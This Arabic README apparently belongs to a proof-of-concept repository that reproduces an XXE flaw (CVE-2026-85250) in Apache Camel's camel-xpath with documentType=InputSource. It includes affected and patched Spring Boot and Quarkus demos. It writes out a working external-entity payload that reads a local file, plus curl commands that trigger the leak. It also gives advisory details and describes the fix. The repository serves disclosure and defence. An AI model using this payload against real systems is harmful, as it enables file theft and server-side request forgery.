
إثبات مفهوم XXE قابل للتشغيل لـ CVE-2026-85250 في Apache Camel camel-xpath (documentType=InputSource)، مع عروض توضيحية متأثرة ومُصلحة لكل من Spring Boot وQuarkus.
documentType=InputSource)مُعيد إنتاج قابل للتشغيل (proof-of-concept) لثغرة Apache Camel حيث، عند ضبط documentType على
InputSource، كان XPathBuilder يمرّر الحمولة مباشرةً إلى javax.xml.xpath، الذي يبني DocumentBuilder
خاصًا به باستخدام إعدادات JDK الافتراضية. وبذلك تم تجاوز التحصين المطبَّق على نوع المستند الافتراضي في Camel: فقد
تم قبول تصريح DOCTYPE الذي يُرفض على النوع الافتراضي هنا، وتم حلّ الكيان الخارجي الذي صرّح به وتوسيعه داخل
المستند المُقيَّم. ويمكن لمرسل خارجي يصل XML الخاص به إلى تعبير كهذا أن يقرأ الملفات التي يمكن لعملية Camel قراءتها
وأن يتسبب في قيام العملية بإرسال طلبات إلى مضيفين يحددهم.
| بيئة التشغيل | الدليل | المكدّس |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0 (متأثرة؛ مُصلحة في 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0، متأثرة؛ ضابط مُصلح CQ 3.40.0 / Camel 4.22.1) |
يُظهر كلا الوحدتين السلوك المتأثر و السلوك المُصلح.
يُزرع ملف "سرّي" غير ضار على القرص (cve-2026-85250-secret.txt، يحتوي على سلسلة علامة)، ليقوم مقام ملف محلي
يمكن لعملية Camel قراءته. يرسل المهاجم XML — على هيئة InputStream، وهو ما يتحول إلى
InputSource — يحمل تصريح DOCTYPE يشير كيانه الخارجي إلى ذلك الملف:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
يقيّم المسار xpath("/test/text()").documentType(InputSource.class) على متن الطلب.
InputSource (إعدادات JDK الافتراضية) يحلّ الكيان الخارجي، لذا تكون نتيجة XPath هي
محتويات الملف — أي تسريب العلامة.DOCTYPE بواسطة المحلّل المُحصَّن (نفس المحلّل الذي يستخدمه نوع المستند الافتراضي)، لذا
يفشل التقييم قبل حلّ أي كيان.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-xpath (XPathBuilder، documentType=InputSource) |
| CWE | CWE-611 (التقييد غير السليم لمرجع الكيانات الخارجية في XML) |
| الخطورة | عالية |
| ناقل الهجوم | XML غير موثوق يُقيَّم بواسطة تعبير XPath مُهيَّأ باستخدام documentType=InputSource |
| التأثير | XXE: الكشف عن الملفات المحلية وتزوير الطلبات من جانب الخادم عبر الكيانات الخارجية |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.18.5، ومن 4.19.0 قبل 4.22.1 |
| الإصدارات المُصلحة | 4.18.5، 4.22.1، 4.23.0 |
| JIRA | CAMEL-24475 |
| الفضل | Claude Security Scan Tool |
الإشعار الأمني: https://camel.apache.org/security/CVE-2026-85250.html
أصبح XPathBuilder الآن يوجّه InputSource (وSAXSource) عبر
toHardenedDocument()، الذي يحوّله إلى org.w3c.dom.Document باستخدام نفس DocumentBuilderFactory المُحصَّن
الذي يستخدمه نوع المستند الافتراضي بالفعل، قبل تسليمه إلى محرك XPath — بحيث يُحلَّل كلا نوعي المستندات
بنفس التهيئة ويُرفض DOCTYPE. لاحظ أن نوع InputSource أصبح الآن أيضًا
يشارك نوع المستند الافتراضي في مخرج الطوارئ الموثّق نفسه: نفس خصائص النظام الخاصة بـ DocumentBuilderFactory التي تخفّف
نوع المستند الافتراضي تخفّف هذا النوع أيضًا.
لا تستخدم documentType=InputSource على التعبيرات التي تُقيَّم على XML غير موثوق؛ فنوع المستند الافتراضي بالفعل
يرفض DOCTYPE.
نُشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Camel على فهم الثغرة الأمنية، والتحقق مما إذا كانوا متأثرين بها، وتأكيد أن الترقية تحلّها. ملف "secret" هو علامة مزروعة خاملة. لا تستخدم هذه المواد ضد أنظمة لا تملكها أو لا تديرها.